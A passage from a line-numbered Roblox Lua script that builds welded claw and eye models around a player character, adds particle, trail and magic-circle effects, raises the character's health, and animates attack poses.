  2920. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2921. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2922. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2923. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2924.  
  2925. local modelzorzz2=Instance.new("Model")
  2926. modelzorzz2.Parent=Character
  2927. modelzorzz2.Name="Claw2"
  2928.  
  2929. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2930. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2931. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2932. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2933. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2934. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2935. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2936. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2937. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2938. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2939. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2940. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2941. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2942. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2943. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2944. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2945. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2946. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2947. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2948. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2949. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2950. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2951. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2952. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2953. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2954. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2955. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2956. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2957. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2958. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2959. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2960. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2961. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2962. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2963. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2964. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2965. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2966. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2967. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2968. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2969. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2970.  
  2971. local modelzorzz3=Instance.new("Model")
  2972. modelzorzz3.Parent=Character
  2973. modelzorzz3.Name="Eye"
  2974.  
  2975. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2976. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2977. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2978. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2979. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2980. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2981. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2982. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2983. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2984. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2985. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2986. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2987. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2988. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2989. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2990. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2991. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2992. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2993. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2994. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2995. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2996. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2997. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2998.  
  2999. p = game.Players.LocalPlayer
  3000. char = p.Character
  3001. torso = char.Torso
  3002. neck = char.Torso.Neck
  3003. hum = char.Humanoid
  3004. hum.MaxHealth = 1675000
  3005. wait()
  3006. hum.Health =hum.MaxHealth
  3007.  
  3008. local particleemitter = Instance.new("ParticleEmitter", Handle)
  3009. particleemitter.VelocitySpread = 180
  3010. particleemitter.Lifetime = NumberRange.new(0.1)
  3011. particleemitter.Speed = NumberRange.new(2)
  3012. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3013. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3014. particleemitter.Rate = 100
  3015. particleemitter.Rotation = NumberRange.new(-45, 45)
  3016. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3017. particleemitter.LightEmission = 0.8
  3018. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3019.  
  3020. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  3021. particleemitter.VelocitySpread = 180
  3022. particleemitter.Lifetime = NumberRange.new(0.1)
  3023. particleemitter.Speed = NumberRange.new(2)
  3024. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3025. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3026. particleemitter.Rate = 100
  3027. particleemitter.Rotation = NumberRange.new(-45, 45)
  3028. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3029. particleemitter.LightEmission = 0.8
  3030. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3031.  
  3032. local particleemitter = Instance.new("ParticleEmitter", handle)
  3033. particleemitter.VelocitySpread = 180
  3034. particleemitter.Lifetime = NumberRange.new(0.1)
  3035. particleemitter.Speed = NumberRange.new(2)
  3036. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  3037. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3038. particleemitter.Rate = 100
  3039. particleemitter.Rotation = NumberRange.new(-45, 45)
  3040. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3041. particleemitter.LightEmission = 0.8
  3042. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3043.  
  3044. particleemitter.Enabled = true
  3045. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025)
  3046. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025)
  3047. so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
  3048. so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
  3049. for i=0,1,0.005 do
  3050. swait()
  3051. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3052. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3053. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3054. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3055. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3056. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3057. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3058. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3059. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3060. end
  3061. for i=0,1,0.04 do
  3062. swait()
  3063. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3064. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3065. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3066. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3067. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3068. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3069. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3070. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3071. end
  3072. attack = false
  3073. end
  3074. end
  3075. end
  3076. end)
  3077.  
  3078. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  3079. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  3080. prt.Anchored=true
  3081. prt.CFrame=cframe
  3082. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  3083. game:GetService("Debris"):AddItem(prt,2)
  3084. coroutine.resume(coroutine.create(function(Part,Mesh)
  3085. for i=0,1,delay do
  3086. wait()
  3087. Part.CFrame=Part.CFrame
  3088. Part.Transparency=i
  3089. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  3090. end
  3091. Part.Parent=nil
  3092. end),prt,msh)
  3093. end
  3094.  
  3095. TrailDeb = false
  3096.  
  3097. function equipanim()
  3098. attack=true
  3099. Humanoid.WalkSpeed = 0
  3100. if TrailDeb == false then
  3101. TrailDeb = true
  3102. end
  3103.  
  3104.  
  3105. coroutine.wrap(function()
  3106. local Old = handle.CFrame.p
  3107. while wait()do
  3108. if not TrailDeb then break end
  3109. local New = handle.CFrame.p
  3110. local Mag =(Old -New).magnitude
  3111. local Dis =(Old +New)/2
  3112. local Trail = Instance.new("Part",Character)
  3113. Trail.Material = "Neon"
  3114. Trail.Anchored = true
  3115. Trail.CanCollide = false
  3116. Trail.BrickColor = TorsoColor
  3117. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3118. Trail.TopSurface = 0
  3119. Trail.BottomSurface = 0
  3120. Trail.formFactor = "Custom"
  3121. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3122. local ms = Instance.new("BlockMesh",Trail)
  3123. ms.Scale = Vector3.new(1,1,1)
  3124. local TM = Instance.new("CylinderMesh",Trail)
  3125. TM.Scale = Vector3.new(1,1,1)
  3126. Old = New
  3127. coroutine.wrap(function()
  3128. for i = 1,0,-0.1 do
  3129. wait()
  3130. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3131. end
  3132. Trail:remove()
  3133. end)()
  3134. coroutine.wrap(function()
  3135. for i = 1,10 do
  3136. wait()
  3137. Trail.Transparency = Trail.Transparency +0.1
  3138. end end)()end end)()
  3139. coroutine.wrap(function()
  3140. local Old = Handle.CFrame.p
  3141. while wait()do
  3142. if not TrailDeb then break end
  3143. local New = Handle.CFrame.p
  3144. local Mag =(Old -New).magnitude
  3145. local Dis =(Old +New)/2
  3146. local Trail = Instance.new("Part",Character)
  3147. Trail.Material = "Neon"
  3148. Trail.Anchored = true
  3149. Trail.CanCollide = false
  3150. Trail.BrickColor = TorsoColor
  3151. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3152. Trail.TopSurface = 0
  3153. Trail.BottomSurface = 0
  3154. Trail.formFactor = "Custom"
  3155. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3156. local ms = Instance.new("BlockMesh",Trail)
  3157. ms.Scale = Vector3.new(1,1,1)
  3158. local TM = Instance.new("CylinderMesh",Trail)
  3159. TM.Scale = Vector3.new(1,1,1)
  3160. Old = New
  3161. coroutine.wrap(function()
  3162. for i = 1,0,-0.1 do
  3163. wait()
  3164. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3165. end
  3166. Trail:remove()
  3167. end)()
  3168. coroutine.wrap(function()
  3169. for i = 1,10 do
  3170. wait()
  3171. Trail.Transparency = Trail.Transparency +0.1
  3172. end end)()end end)()
  3173. coroutine.wrap(function()
  3174. local Old = Handle2.CFrame.p
  3175. while wait()do
  3176. if not TrailDeb then break end
  3177. local New = Handle2.CFrame.p
  3178. local Mag =(Old -New).magnitude
  3179. local Dis =(Old +New)/2
  3180. local Trail = Instance.new("Part",Character)
  3181. Trail.Material = "Neon"
  3182. Trail.Anchored = true
  3183. Trail.CanCollide = false
  3184. Trail.BrickColor = TorsoColor
  3185. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3186. Trail.TopSurface = 0
  3187. Trail.BottomSurface = 0
  3188. Trail.formFactor = "Custom"
  3189. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3190. local ms = Instance.new("BlockMesh",Trail)
  3191. ms.Scale = Vector3.new(1,1,1)
  3192. local TM = Instance.new("CylinderMesh",Trail)
  3193. TM.Scale = Vector3.new(1,1,1)
  3194. Old = New
  3195. coroutine.wrap(function()
  3196. for i = 1,0,-0.1 do
  3197. wait()
  3198. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3199. end
  3200. Trail:remove()
  3201. end)()
  3202. coroutine.wrap(function()
  3203. for i = 1,10 do
  3204. wait()
  3205. Trail.Transparency = Trail.Transparency +0.1
  3206. end end)()end end)()
  3207. so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5)
  3208. for i=0,1,0.005 do
  3209. swait()
  3210. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
  3211. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3212. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3213. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3214. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3215. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3216. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3217. end
  3218. for i=0,1,0.005 do
  3219. swait()
  3220. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
  3221. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3222. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3223. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3224. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3225. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3226. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3227. end
  3228. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3229. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3230. for i=0,1,0.005 do
  3231. swait()
  3232. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3233. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3234. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3235. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3236. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3237. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3238. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3239. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3240. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3241. end
  3242. for i=0,1,0.04 do
  3243. swait()
  3244. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3245. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3246. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3247. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3248. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3249. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
